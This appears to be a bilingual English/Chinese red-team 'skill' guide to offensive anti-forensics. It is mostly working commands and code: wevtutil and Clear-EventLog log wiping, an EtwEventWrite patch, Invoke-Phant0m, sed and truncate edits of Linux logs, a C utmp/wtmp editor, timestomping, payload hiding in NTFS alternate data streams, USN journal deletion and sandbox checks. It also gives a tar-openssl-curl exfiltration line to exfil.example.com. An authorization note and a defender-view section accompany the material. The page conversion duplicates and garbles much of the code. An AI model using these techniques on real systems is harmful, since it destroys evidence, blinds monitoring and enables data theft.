offensive-anti-forensics
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseOffensive Anti-Forensics
攻击性反取证
Anti-forensics is the practice of manipulating, destroying, or preventing the creation of forensic artifacts during an engagement. As a red team operator, you treat every action as generating evidence -- logs, timestamps, memory structures, disk metadata, and network captures all tell a story. Your objective is to control that narrative. This skill covers the primary evidence categories you encounter on Windows and Linux targets, the techniques for manipulating each, and the defender view so you understand what a competent forensic analyst looks for when your cleanup is incomplete.
You operate under an authorization scope. Every technique here assumes you have written permission to execute these actions on target systems. Document what you clear and when -- your engagement report must account for artifacts you destroyed so the blue team can rebuild their detection baseline.
反取证是在评估期间操纵、销毁或阻止生成取证痕迹的做法。作为红队操作员,你要将每个操作都视为会产生证据——日志、时间戳、内存结构、磁盘元数据和网络捕获都会讲述一个故事。你的目标是掌控这一叙事。本 skill 介绍了你在 Windows 和 Linux 目标上会遇到的主要证据类别、操纵每类证据的技术,以及防御方视角,让你了解当清理不完整时,胜任的取证分析人员会查找什么。
你必须在授权范围内操作。这里的每项技术都假定你已获得书面许可,可以对目标系统执行这些操作。记录你清除的内容和时间——你的评估报告必须说明销毁了哪些痕迹,以便蓝队重建其检测基线。
Quick Workflow
快速工作流
- Enumerate logging infrastructure before executing payloads -- identify what generates evidence.
- Disable or blind telemetry sources (ETW, Sysmon, auditd) at the earliest safe opportunity.
- Execute your operation with minimal footprint using in-memory techniques where possible.
- Manipulate timestamps on any files you touched to blend with surrounding filesystem activity.
- Clear or edit logs selectively -- wholesale deletion is noisier than surgical modification.
- Remove memory artifacts if you have reason to believe live forensics will occur.
- Validate your cleanup by checking the same artifacts a forensic analyst would examine.
- 在执行 payload 前枚举日志基础设施——确定哪些组件会生成证据。
- 在最早的安全时机禁用或盲化遥测源(ETW、Sysmon、auditd)。
- 尽可能使用内存技术,以尽量小的操作足迹执行行动。
- 操纵你接触过的所有文件的时间戳,使其融入周围的文件系统活动。
- 有选择地清除或编辑日志——整体删除比精准修改更容易暴露。
- 如果有理由相信会进行实时取证,请清除内存痕迹。
- 通过检查取证分析人员会检查的相同痕迹来验证清理效果。
Windows Event Log Clearing
Windows 事件日志清除
Windows Event Logs are the primary evidence source on Windows targets. The Security, System, PowerShell, and Sysmon/Operational channels record authentication, process creation, and command execution events.
Windows Event Logs 是 Windows 目标上的主要证据来源。Security、System、PowerShell 和 Sysmon/Operational 通道会记录身份验证、进程创建和命令执行事件。
Wevtutil Approach
Wevtutil 方法
Clear specific channels rather than all logs to reduce the blast radius of your cleanup.
cmd
rem Clear Security log only
wevtutil cl Security
rem Clear specific channels relevant to your activity
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
wevtutil cl "Windows PowerShell"
rem Enumerate all logs to find non-obvious channels
wevtutil el | findstr /i "operational"
rem Export a log before clearing to preserve your own records
wevtutil epl Security C:\Windows\Temp\sec_backup.evtx
wevtutil cl Security仅清除特定通道而非所有日志,以减小清理操作的影响范围。
cmd
rem Clear Security log only
wevtutil cl Security
rem Clear specific channels relevant to your activity
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
wevtutil cl "Windows PowerShell"
rem Enumerate all logs to find non-obvious channels
wevtutil el | findstr /i "operational"
rem Export a log before clearing to preserve your own records
wevtutil epl Security C:\Windows\Temp\sec_backup.evtx
wevtutil cl SecurityPowerShell Clear-EventLog
PowerShell Clear-EventLog
powershell
undefinedpowershell
undefinedClear classic logs
Clear classic logs
Clear-EventLog -LogName Security, System, Application
Clear-EventLog -LogName Security, System, Application
Clear modern logs via wevtutil wrapper
Clear modern logs via wevtutil wrapper
Get-WinEvent -ListLog * | Where-Object { $.RecordCount -gt 0 } | ForEach-Object {
wevtutil cl $.LogName 2>$null
}
Get-WinEvent -ListLog * | Where-Object { $.RecordCount -gt 0 } | ForEach-Object {
wevtutil cl $.LogName 2>$null
}
Selective clearing -- remove only your time window events
Selective clearing -- remove only your time window events
This requires parsing and rewriting, which is complex but less detectable
This requires parsing and rewriting, which is complex but less detectable
$targetTime = Get-Date "2026-08-24 03:00"
$events = Get-WinEvent -LogName Security | Where-Object {
$.TimeCreated -lt $targetTime -or $.TimeCreated -gt $targetTime.AddHours(2)
}
$targetTime = Get-Date "2026-08-24 03:00"
$events = Get-WinEvent -LogName Security | Where-Object {
$.TimeCreated -lt $targetTime -or $.TimeCreated -gt $targetTime.AddHours(2)
}
Note: native Windows APIs do not support selective event deletion
Note: native Windows APIs do not support selective event deletion
You must clear and rewrite, or use third-party tooling
You must clear and rewrite, or use third-party tooling
undefinedundefinedETW Provider Patching
ETW Provider Patching
Event Tracing for Windows underpins most logging. Patching the ETW provider in-process prevents log generation at the source, which is quieter than post-hoc clearing.
csharp
// Patch ntdll!EtwEventWrite in the current process
// This blinds any ETW consumer for events from this process
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr addr, UIntPtr size, uint newProt, out uint oldProt);
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Overwrite first byte with RET (0xC3)
uint oldProtect;
VirtualProtect(etwAddr, (UIntPtr)1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, (UIntPtr)1, oldProtect, out oldProtect);powershell
undefinedEvent Tracing for Windows 支撑着大多数日志记录机制。在进程内修补 ETW provider 可以从源头阻止日志生成,比事后清除更安静。
csharp
// Patch ntdll!EtwEventWrite in the current process
// This blinds any ETW consumer for events from this process
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr addr, UIntPtr size, uint newProt, out uint oldProt);
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Overwrite first byte with RET (0xC3)
uint oldProtect;
VirtualProtect(etwAddr, (UIntPtr)1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, (UIntPtr)1, oldProtect, out oldProtect);powershell
undefinedInvoke-Phant0m: Kill threads responsible for Event Log Service
Invoke-Phant0m: Kill threads responsible for Event Log Service
This stops log writing without stopping the service itself
This stops log writing without stopping the service itself
The service appears running but no events are recorded
The service appears running but no events are recorded
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m
---Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m
---Linux Log Clearing
Linux 日志清除
Linux logging varies by distribution and configuration. You must account for syslog/rsyslog, systemd journal, auth logs, and login records stored in binary utmp/wtmp/btmp files.
Linux 的日志记录方式因发行版和配置而异。你必须考虑 syslog/rsyslog、systemd journal、auth 日志,以及存储在二进制 utmp/wtmp/btmp 文件中的登录记录。
Syslog and Auth Log Manipulation
Syslog 和 Auth 日志操纵
bash
undefinedbash
undefinedTruncate rather than delete -- preserves inode and avoids alerting on missing files
Truncate rather than delete -- preserves inode and avoids alerting on missing files
truncate -s 0 /var/log/syslog
truncate -s 0 /var/log/auth.log
truncate -s 0 /var/log/messages
truncate -s 0 /var/log/secure
truncate -s 0 /var/log/syslog
truncate -s 0 /var/log/auth.log
truncate -s 0 /var/log/messages
truncate -s 0 /var/log/secure
Selective removal -- strip lines matching your source IP
Selective removal -- strip lines matching your source IP
sed -i '/10.10.14.5/d' /var/log/auth.log
sed -i '/10.10.14.5/d' /var/log/syslog
sed -i '/10.10.14.5/d' /var/log/auth.log
sed -i '/10.10.14.5/d' /var/log/syslog
Remove entries within a time window from auth.log
Remove entries within a time window from auth.log
sed -i '/Aug 24 03:0[0-9]/d' /var/log/auth.log
sed -i '/Aug 24 03:1[0-9]/d' /var/log/auth.log
sed -i '/Aug 24 03:0[0-9]/d' /var/log/auth.log
sed -i '/Aug 24 03:1[0-9]/d' /var/log/auth.log
Handle rotated logs
Handle rotated logs
for f in /var/log/auth.log.* /var/log/syslog.*; do
if file "$f" | grep -q gzip; then
gunzip "$f"
sed -i '/10.10.14.5/d' "${f%.gz}"
gzip "${f%.gz}"
else
sed -i '/10.10.14.5/d' "$f"
fi
done
undefinedfor f in /var/log/auth.log.* /var/log/syslog.*; do
if file "$f" | grep -q gzip; then
gunzip "$f"
sed -i '/10.10.14.5/d' "${f%.gz}"
gzip "${f%.gz}"
else
sed -i '/10.10.14.5/d' "$f"
fi
done
undefinedSystemd Journal Clearing
Systemd Journal 清除
bash
undefinedbash
undefinedFlush and rotate, then vacuum
Flush and rotate, then vacuum
journalctl --flush --rotate
journalctl --vacuum-time=1s
journalctl --flush --rotate
journalctl --vacuum-time=1s
Alternative: remove journal files directly
Alternative: remove journal files directly
rm -rf /var/log/journal/*
systemctl restart systemd-journald
rm -rf /var/log/journal/*
systemctl restart systemd-journald
Selective approach: vacuum to a small size to keep recent benign entries
Selective approach: vacuum to a small size to keep recent benign entries
journalctl --vacuum-size=10M
undefinedjournalctl --vacuum-size=10M
undefinedutmp/wtmp/btmp Binary Editing
utmp/wtmp/btmp 二进制编辑
These binary files record login sessions. Tools like and read them. You cannot edit them with sed -- you need purpose-built utilities or direct binary manipulation.
lastwhoc
/* utmp_editor.c -- remove a specific entry from utmp/wtmp
* Compile: gcc -o utmp_editor utmp_editor.c
* Usage: ./utmp_editor /var/log/wtmp username_to_remove */
#include <stdio.h>
#include <string.h>
#include <utmp.h>
int main(int argc, char *argv[]) {
if (argc != 3) return 1;
FILE *fp = fopen(argv[1], "r+b");
FILE *tmp = fopen("/tmp/.utmp_clean", "wb");
struct utmp entry;
while (fread(&entry, sizeof(entry), 1, fp) == 1) {
if (strncmp(entry.ut_user, argv[2], UT_NAMESIZE) != 0) {
fwrite(&entry, sizeof(entry), 1, tmp);
}
}
fclose(fp); fclose(tmp);
rename("/tmp/.utmp_clean", argv[1]);
return 0;
}bash
undefined这些二进制文件记录登录会话。last 和 who 等工具会读取它们。你不能用 sed 编辑它们——而需要专用实用工具或直接进行二进制操作。
c
/* utmp_editor.c -- remove a specific entry from utmp/wtmp
* Compile: gcc -o utmp_editor utmp_editor.c
* Usage: ./utmp_editor /var/log/wtmp username_to_remove */
#include <stdio.h>
#include <string.h>
#include <utmp.h>
int main(int argc, char *argv[]) {
if (argc != 3) return 1;
FILE *fp = fopen(argv[1], "r+b");
FILE *tmp = fopen("/tmp/.utmp_clean", "wb");
struct utmp entry;
while (fread(&entry, sizeof(entry), 1, fp) == 1) {
if (strncmp(entry.ut_user, argv[2], UT_NAMESIZE) != 0) {
fwrite(&entry, sizeof(entry), 1, tmp);
}
}
fclose(fp); fclose(tmp);
rename("/tmp/.utmp_clean", argv[1]);
return 0;
}bash
undefinedQuick approach using utmpdump (available on most distros)
Quick approach using utmpdump (available on most distros)
utmpdump /var/log/wtmp > /tmp/wtmp.txt
grep -v "your_username" /tmp/wtmp.txt > /tmp/wtmp_clean.txt
utmpdump -r < /tmp/wtmp_clean.txt > /var/log/wtmp
rm /tmp/wtmp.txt /tmp/wtmp_clean.txt
---utmpdump /var/log/wtmp > /tmp/wtmp.txt
grep -v "your_username" /tmp/wtmp.txt > /tmp/wtmp_clean.txt
utmpdump -r < /tmp/wtmp_clean.txt > /var/log/wtmp
rm /tmp/wtmp.txt /tmp/wtmp_clean.txt
---Timestamp Manipulation
时间戳操纵
Forensic timeline analysis correlates file modification, access, creation, and entry-modified times (MACE) across the filesystem. Manipulating these timestamps defeats or complicates timeline reconstruction.
取证时间线分析会关联整个文件系统中文件的修改、访问、创建和条目修改时间(MACE)。操纵这些时间戳可以破坏或增加时间线重建的复杂度。
Windows Timestomp
Windows Timestomp
powershell
undefinedpowershell
undefinedNative PowerShell timestamp modification
Native PowerShell timestamp modification
$file = Get-Item C:\Windows\Temp\payload.exe
$file.CreationTime = "01/15/2025 08:30:00"
$file.LastWriteTime = "01/15/2025 08:30:00"
$file.LastAccessTime = "01/15/2025 08:30:00"
$file = Get-Item C:\Windows\Temp\payload.exe
$file.CreationTime = "01/15/2025 08:30:00"
$file.LastWriteTime = "01/15/2025 08:30:00"
$file.LastAccessTime = "01/15/2025 08:30:00"
Match timestamps to a legitimate system file
Match timestamps to a legitimate system file
$ref = Get-Item C:\Windows\System32\notepad.exe
$target = Get-Item C:\Windows\Temp\payload.exe
$target.CreationTime = $ref.CreationTime
$target.LastWriteTime = $ref.LastWriteTime
$target.LastAccessTime = $ref.LastAccessTime
```powershell$ref = Get-Item C:\Windows\System32\notepad.exe
$target = Get-Item C:\Windows\Temp\payload.exe
$target.CreationTime = $ref.CreationTime
$target.LastWriteTime = $ref.LastWriteTime
$target.LastAccessTime = $ref.LastAccessTime
```powershellMetasploit Timestomp via Meterpreter
Metasploit Timestomp via Meterpreter
meterpreter> timestomp C:\Windows\Temp\payload.exe -f C:\Windows\System32\notepad.exe
meterpreter> timestomp C:\Windows\Temp\payload.exe -f C:\Windows\System32\notepad.exe
This copies all MACE values from notepad.exe to your payload
This copies all MACE values from notepad.exe to your payload
SetMACE via direct NTFS manipulation (bypasses standard API logging)
SetMACE via direct NTFS manipulation (bypasses standard API logging)
Requires raw NTFS access -- tools like SetMACE modify $STANDARD_INFORMATION
Requires raw NTFS access -- tools like SetMACE modify $STANDARD_INFORMATION
and $FILE_NAME attributes in the MFT directly
and $FILE_NAME attributes in the MFT directly
undefinedundefinedLinux Timestamp Manipulation
Linux 时间戳操纵
bash
undefinedbash
undefinedSet specific timestamps using touch
Set specific timestamps using touch
touch -t 202501150830.00 /tmp/payload
touch -a -t 202501150830.00 /tmp/payload # access time only
touch -m -t 202501150830.00 /tmp/payload # modification time only
touch -t 202501150830.00 /tmp/payload
touch -a -t 202501150830.00 /tmp/payload # access time only
touch -m -t 202501150830.00 /tmp/payload # modification time only
Clone timestamps from a reference file
Clone timestamps from a reference file
touch -r /usr/bin/ssh /tmp/payload
touch -r /usr/bin/ssh /tmp/payload
Modify ctime (change time) -- requires debugfs on ext4
Modify ctime (change time) -- requires debugfs on ext4
ctime cannot be set via standard APIs, which forensic analysts know
ctime cannot be set via standard APIs, which forensic analysts know
debugfs -w /dev/sda1 -R "set_inode_field /tmp/payload ctime 202501150830"
debugfs -w /dev/sda1 -R "set_inode_field /tmp/payload ctime 202501150830"
Recursive timestamp normalization for a directory of tools
Recursive timestamp normalization for a directory of tools
find /opt/tools -type f -exec touch -r /usr/bin/ls {} ;
---find /opt/tools -type f -exec touch -r /usr/bin/ls {} \;
---Filesystem Anti-Forensics
文件系统反取证
NTFS Alternate Data Streams
NTFS Alternate Data Streams
NTFS ADS allows you to attach data to a file without changing its visible size or content. Standard directory listings do not show ADS content.
cmd
rem Hide payload in an ADS attached to a benign file
type payload.exe > C:\Users\Public\Documents\readme.txt:payload.exe
rem Execute from ADS (varies by Windows version and payload type)
wmic process call create "C:\Users\Public\Documents\readme.txt:payload.exe"
rem List ADS on a file
dir /r C:\Users\Public\Documents\readme.txt
rem PowerShell ADS operations
Set-Content -Path "C:\Users\Public\readme.txt" -Stream "hidden" -Value "config data"
Get-Content -Path "C:\Users\Public\readme.txt" -Stream "hidden"
Get-Item -Path "C:\Users\Public\readme.txt" -Stream *NTFS ADS 允许将数据附加到文件上,而不改变其可见大小或内容。标准目录列表不会显示 ADS 内容。
cmd
rem Hide payload in an ADS attached to a benign file
type payload.exe > C:\Users\Public\Documents\readme.txt:payload.exe
rem Execute from ADS (varies by Windows version and payload type)
wmic process call create "C:\Users\Public\Documents\readme.txt:payload.exe"
rem List ADS on a file
dir /r C:\Users\Public\Documents\readme.txt
rem PowerShell ADS operations
Set-Content -Path "C:\Users\Public\readme.txt" -Stream "hidden" -Value "config data"
Get-Content -Path "C:\Users\Public\readme.txt" -Stream "hidden"
Get-Item -Path "C:\Users\Public\readme.txt" -Stream *Secure Deletion
安全删除
cmd
rem Windows: SDelete from Sysinternals
sdelete -p 3 C:\Windows\Temp\payload.exe
sdelete -p 3 -s C:\Windows\Temp\tools\
rem Cipher /w overwrites deallocated space on a volume
cipher /w:C:\Windows\Tempbash
undefinedcmd
rem Windows: SDelete from Sysinternals
sdelete -p 3 C:\Windows\Temp\payload.exe
sdelete -p 3 -s C:\Windows\Temp\tools\
rem Cipher /w overwrites deallocated space on a volume
cipher /w:C:\Windows\Tempbash
undefinedLinux: shred overwrites file content before unlinking
Linux: shred overwrites file content before unlinking
shred -vfz -n 3 /tmp/payload
shred -vfz -n 3 /tmp/payload
Secure delete then remove
Secure delete then remove
shred -u /tmp/payload
shred -u /tmp/payload
Overwrite free space on a partition
Overwrite free space on a partition
dd if=/dev/urandom of=/tmp/wipe_free bs=1M 2>/dev/null; rm /tmp/wipe_free
sync
dd if=/dev/urandom of=/tmp/wipe_free bs=1M 2>/dev/null; rm /tmp/wipe_free
sync
For SSDs, TRIM complicates recovery but does not guarantee destruction
For SSDs, TRIM complicates recovery but does not guarantee destruction
fstrim -v /
---fstrim -v /
---Disk Artifact Manipulation
磁盘痕迹操纵
MFT and USN Journal
MFT 和 USN Journal
The NTFS Master File Table records metadata for every file, including deleted ones. The USN (Update Sequence Number) Journal logs every change to files on a volume. Both are high-value forensic sources.
cmd
rem Delete the USN Journal (requires admin)
fsutil usn deletejournal /d C:
rem Query USN journal to understand what it recorded about your activity
fsutil usn readjournal C: csv > usn_dump.csv
findstr /i "payload" usn_dump.csv
rem Disable USN journal creation on a volume
fsutil usn deletejournal /n C:powershell
undefinedNTFS Master File Table 记录每个文件的元数据,包括已删除文件。USN(Update Sequence Number)Journal 会记录卷上文件的每次更改。两者都是高价值的取证来源。
cmd
rem Delete the USN Journal (requires admin)
fsutil usn deletejournal /d C:\
rem Query USN journal to understand what it recorded about your activity
fsutil usn readjournal C: csv > usn_dump.csv
findstr /i "payload" usn_dump.csv
rem Disable USN journal creation on a volume
fsutil usn deletejournal /n C:\powershell
undefinedMFT entries for deleted files persist until overwritten
MFT entries for deleted files persist until overwritten
Filling the volume forces MFT entry reuse
Filling the volume forces MFT entry reuse
$stream = [System.IO.File]::Create("C:\Windows\Temp\filler.bin")
$buffer = New-Object byte[] (1024 * 1024)
try { while ($true) { $stream.Write($buffer, 0, $buffer.Length) } }
catch { $stream.Close(); Remove-Item "C:\Windows\Temp\filler.bin" }
---$stream = [System.IO.File]::Create("C:\Windows\Temp\filler.bin")
$buffer = New-Object byte[] (1024 * 1024)
try { while ($true) { $stream.Write($buffer, 0, $buffer.Length) } }
catch { $stream.Close(); Remove-Item "C:\Windows\Temp\filler.bin" }
---Memory Artifact Removal
内存痕迹清除
Live forensics and memory captures can recover credentials, command history, loaded modules, and network connections from process memory.
powershell
undefined实时取证和内存捕获可以从进程内存中恢复凭据、命令历史、已加载模块和网络连接。
powershell
undefinedClear PowerShell command history
Clear PowerShell command history
Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
Set-PSReadlineOption -HistorySaveStyle SaveNothing
Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
Set-PSReadlineOption -HistorySaveStyle SaveNothing
Remove credential artifacts from LSASS (risky -- may crash the process)
Remove credential artifacts from LSASS (risky -- may crash the process)
Preferred: avoid dumping creds to disk in the first place -- use in-memory-only tools
Preferred: avoid dumping creds to disk in the first place -- use in-memory-only tools
```bash
```bashClear bash history for current session
Clear bash history for current session
unset HISTFILE
export HISTSIZE=0
history -c
rm -f ~/.bash_history
unset HISTFILE
export HISTSIZE=0
history -c
rm -f ~/.bash_history
Prevent history writing for the session
Prevent history writing for the session
set +o history
set +o history
Clear in-memory credentials (if using SSH agent)
Clear in-memory credentials (if using SSH agent)
ssh-add -D
ssh-add -D
Overwrite /proc/self artifacts is not directly possible
Overwrite /proc/self artifacts is not directly possible
Instead, exec into a new process to shed memory artifacts
Instead, exec into a new process to shed memory artifacts
exec bash --norc --noprofile
---exec bash --norc --noprofile
---Network Forensics Evasion
网络取证规避
Network captures, flow data, and DNS logs can reveal C2 communication, lateral movement, and data exfiltration. You evade these by encrypting traffic, blending with legitimate protocols, and using trusted infrastructure.
yaml
undefined网络捕获、流量数据和 DNS 日志可能暴露 C2 通信、横向移动和数据外传。你可以通过加密流量、融入合法协议以及使用可信基础设施来规避这些检测。
yaml
undefinedDNS-over-HTTPS for C2 resolution -- avoids DNS logging at the network layer
DNS-over-HTTPS for C2 resolution -- avoids DNS logging at the network layer
Example: configure a tool to resolve C2 domains via DoH
Example: configure a tool to resolve C2 domains via DoH
doh_resolvers:
doh_resolvers:
Encapsulate C2 in HTTPS to blend with legitimate web traffic
Encapsulate C2 in HTTPS to blend with legitimate web traffic
Use domain fronting or legitimate CDN endpoints
Use domain fronting or legitimate CDN endpoints
See offensive-c2-frameworks skill for detailed C2 traffic shaping
See offensive-c2-frameworks skill for detailed C2 traffic shaping
```bash
```bashSSH tunneling to encrypt lateral movement traffic
SSH tunneling to encrypt lateral movement traffic
ssh -D 9050 -f -N pivot@10.10.10.5
proxychains nmap -sT 172.16.0.0/24
ssh -D 9050 -f -N pivot@10.10.10.5
proxychains nmap -sT 172.16.0.0/24
Encrypt exfiltrated data before transfer
Encrypt exfiltrated data before transfer
tar czf - /sensitive/data | openssl enc -aes-256-cbc -pbkdf2 -pass pass:ExfilKey |
curl -X POST -H "Content-Type: application/octet-stream" --data-binary @- https://exfil.example.com/upload
curl -X POST -H "Content-Type: application/octet-stream" --data-binary @- https://exfil.example.com/upload
---tar czf - /sensitive/data | openssl enc -aes-256-cbc -pbkdf2 -pass pass:ExfilKey |
curl -X POST -H "Content-Type: application/octet-stream" --data-binary @- https://exfil.example.com/upload
curl -X POST -H "Content-Type: application/octet-stream" --data-binary @- https://exfil.example.com/upload
---Anti-VM and Sandbox Detection
Anti-VM 和 Sandbox 检测
Malware sandboxes and forensic analysis VMs have detectable characteristics. During red team engagements, you may need your payloads to behave differently -- or not at all -- in analysis environments.
csharp
// Common VM detection checks
using System.Management;
public static bool IsVirtualMachine() {
using (var searcher = new ManagementObjectSearcher(
"SELECT * FROM Win32_ComputerSystem")) {
foreach (var item in searcher.Get()) {
string manufacturer = item["Manufacturer"]?.ToString().ToLower() ?? "";
string model = item["Model"]?.ToString().ToLower() ?? "";
if (manufacturer.Contains("vmware") || manufacturer.Contains("virtual") ||
model.Contains("virtual") || manufacturer.Contains("xen"))
return true;
}
}
// Check for VM-specific processes
string[] vmProcesses = { "vmtoolsd", "vmwaretray", "vboxservice", "vboxtray" };
foreach (var proc in Process.GetProcesses()) {
if (Array.Exists(vmProcesses, p => proc.ProcessName.ToLower().Contains(p)))
return true;
}
return false;
}powershell
undefined恶意软件沙箱和取证分析 VM 都有可检测的特征。在红队评估期间,你可能需要让 payload 在分析环境中表现出不同行为,或者完全不运行。
csharp
// Common VM detection checks
using System.Management;
public static bool IsVirtualMachine() {
using (var searcher = new ManagementObjectSearcher(
"SELECT * FROM Win32_ComputerSystem")) {
foreach (var item in searcher.Get()) {
string manufacturer = item["Manufacturer"]?.ToString().ToLower() ?? "";
string model = item["Model"]?.ToString().ToLower() ?? "";
if (manufacturer.Contains("vmware") || manufacturer.Contains("virtual") ||
model.Contains("virtual") || manufacturer.Contains("xen"))
return true;
}
}
// Check for VM-specific processes
string[] vmProcesses = { "vmtoolsd", "vmwaretray", "vboxservice", "vboxtray" };
foreach (var proc in Process.GetProcesses()) {
if (Array.Exists(vmProcesses, p => proc.ProcessName.ToLower().Contains(p)))
return true;
}
return false;
}powershell
undefinedQuick sandbox evasion checks
Quick sandbox evasion checks
$checks = @{
LowMemory = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory -lt 2GB
FewCores = (Get-CimInstance Win32_Processor).NumberOfCores -lt 2
SmallDisk = (Get-CimInstance Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum -lt 60GB
RecentBoot = (Get-CimInstance Win32_OperatingSystem).LastBootUpTime -gt (Get-Date).AddMinutes(-5)
NoUserFiles = (Get-ChildItem "$env:USERPROFILE\Documents" -ErrorAction SilentlyContinue).Count -lt 3
}
if ($checks.Values -contains $true) {
Write-Host "Potential sandbox detected"
exit
}
---$checks = @{
LowMemory = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory -lt 2GB
FewCores = (Get-CimInstance Win32_Processor).NumberOfCores -lt 2
SmallDisk = (Get-CimInstance Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum -lt 60GB
RecentBoot = (Get-CimInstance Win32_OperatingSystem).LastBootUpTime -gt (Get-Date).AddMinutes(-5)
NoUserFiles = (Get-ChildItem "$env:USERPROFILE\Documents" -ErrorAction SilentlyContinue).Count -lt 3
}
if ($checks.Values -contains $true) {
Write-Host "Potential sandbox detected"
exit
}
---Detection / Defender View
检测/防御方视角
Forensic analysts and SOC teams look for the following indicators of anti-forensic activity:
- Event Log gaps: Event ID 1102 (Security log cleared) and Event ID 104 (System log cleared) are themselves logged. Clearing logs creates an evidence trail of the clearing.
- Timestamp inconsistencies: $STANDARD_INFORMATION and $FILE_NAME timestamps in the MFT that do not match indicate timestomping. The $FILE_NAME attribute is harder to modify and often retains original values.
- USN Journal deletion: The absence of a USN journal or a journal with a very recent creation date signals deliberate destruction.
- Log file size anomalies: A log file with a recent modification time but zero or minimal size indicates truncation.
- Shell history gaps: Missing .bash_history or a history file with a recent modification time and no content.
- Sysmon EventID 2 records file creation time changes, directly detecting timestomp operations.
- ETW patch detection: Scanning ntdll for inline hooks or RET instructions at EtwEventWrite.
- ADS discovery: Tools like Streams.exe (Sysinternals) or PowerShell Get-Item -Stream enumerate alternate data streams.
- Prefetch and Shimcache: These Windows artifacts persist even after executable deletion and are often overlooked during cleanup.
取证分析人员和 SOC 团队会寻找以下反取证活动指标:
- 事件日志缺口:Event ID 1102(Security 日志已清除)和 Event ID 104(System 日志已清除)本身也会被记录。清除日志会留下清除操作的证据链。
- 时间戳不一致:MFT 中的 $STANDARD_INFORMATION 和 $FILE_NAME 时间戳不匹配,表明发生了 timestomping。$FILE_NAME 属性更难修改,通常会保留原始值。
- USN Journal 删除:USN journal 缺失,或其创建日期非常新,均表明存在蓄意销毁行为。
- 日志文件大小异常:日志文件的修改时间很新,但大小为零或极小,表明日志被截断。
- Shell history 缺口:.bash_history 缺失,或 history 文件的修改时间很新却没有内容。
- Sysmon EventID 2 会记录文件创建时间变化,可直接检测 timestomping 操作。
- ETW patch 检测:扫描 ntdll,查找 EtwEventWrite 上的 inline hook 或 RET 指令。
- ADS 发现:Streams.exe(Sysinternals)或 PowerShell Get-Item -Stream 等工具可枚举 Alternate Data Streams。
- Prefetch 和 Shimcache:即使可执行文件被删除,这些 Windows 痕迹仍会保留,而且经常在清理过程中被忽略。
Engagement Cheatsheet
评估速查表
| Artifact Category | Windows Technique | Linux Technique | MITRE ID |
|---|---|---|---|
| Event/Syslog clearing | wevtutil cl / Clear-EventLog | truncate -s 0 / sed -i | T1070.001 |
| Login records | N/A (Security log) | utmpdump edit / wtmp binary edit | T1070.002 |
| Command history | Remove PSReadline history | unset HISTFILE / history -c | T1070.003 |
| File deletion | sdelete / cipher /w | shred -u / dd overwrite | T1070.004 |
| Timestomping | PowerShell Set / Timestomp / SetMACE | touch -r / debugfs ctime | T1070.006 |
| ETW blinding | Patch EtwEventWrite / Invoke-Phant0m | N/A | T1562.001 |
| NTFS ADS hiding | type > file:stream | N/A (ext4 xattr for similar) | T1564.004 |
| Disk artifacts | fsutil usn deletejournal | debugfs / fstrim | T1070.008 |
| Network evasion | HTTPS C2 / DoH | SSH tunnels / encrypted exfil | T1573 |
| VM/Sandbox detection | WMI queries / process checks | dmidecode / lshw checks | T1497.001 |
| 痕迹类别 | Windows 技术 | Linux 技术 | MITRE ID |
|---|---|---|---|
| 事件/Syslog 清除 | wevtutil cl / Clear-EventLog | truncate -s 0 / sed -i | T1070.001 |
| 登录记录 | N/A(Security 日志) | utmpdump edit / wtmp 二进制编辑 | T1070.002 |
| 命令历史 | 移除 PSReadline history | unset HISTFILE / history -c | T1070.003 |
| 文件删除 | sdelete / cipher /w | shred -u / dd 覆写 | T1070.004 |
| Timestomping | PowerShell Set / Timestomp / SetMACE | touch -r / debugfs ctime | T1070.006 |
| ETW 盲化 | Patch EtwEventWrite / Invoke-Phant0m | N/A | T1562.001 |
| NTFS ADS 隐藏 | type > file:stream | N/A(ext4 xattr 实现类似功能) | T1564.004 |
| 磁盘痕迹 | fsutil usn deletejournal | debugfs / fstrim | T1070.008 |
| 网络规避 | HTTPS C2 / DoH | SSH 隧道 / 加密数据外传 | T1573 |
| VM/Sandbox 检测 | WMI 查询 / 进程检查 | dmidecode / lshw 检查 | T1497.001 |
Key References
关键参考资料
- MITRE ATT&CK T1070 - Indicator Removal: https://attack.mitre.org/techniques/T1070/
- MITRE ATT&CK T1027 - Obfuscated Files or Information: https://attack.mitre.org/techniques/T1027/
- MITRE ATT&CK T1497 - Virtualization/Sandbox Evasion: https://attack.mitre.org/techniques/T1497/
- SANS Digital Forensics and Incident Response: https://www.sans.org/digital-forensics-incident-response/
- Anti-Forensics Techniques (SANS Whitepaper): https://www.sans.org/white-papers/
- Invoke-Phant0m: https://github.com/hlldz/Invoke-Phant0m
- Timestomp (Metasploit): https://docs.metasploit.com/
- SDelete (Sysinternals): https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete
- NTFS Alternate Data Streams: https://docs.microsoft.com/en-us/archive/blogs/askcore/alternate-data-streams-in-ntfs
- MITRE ATT&CK T1070 - Indicator Removal: https://attack.mitre.org/techniques/T1070/
- MITRE ATT&CK T1027 - Obfuscated Files or Information: https://attack.mitre.org/techniques/T1027/
- MITRE ATT&CK T1497 - Virtualization/Sandbox Evasion: https://attack.mitre.org/techniques/T1497/
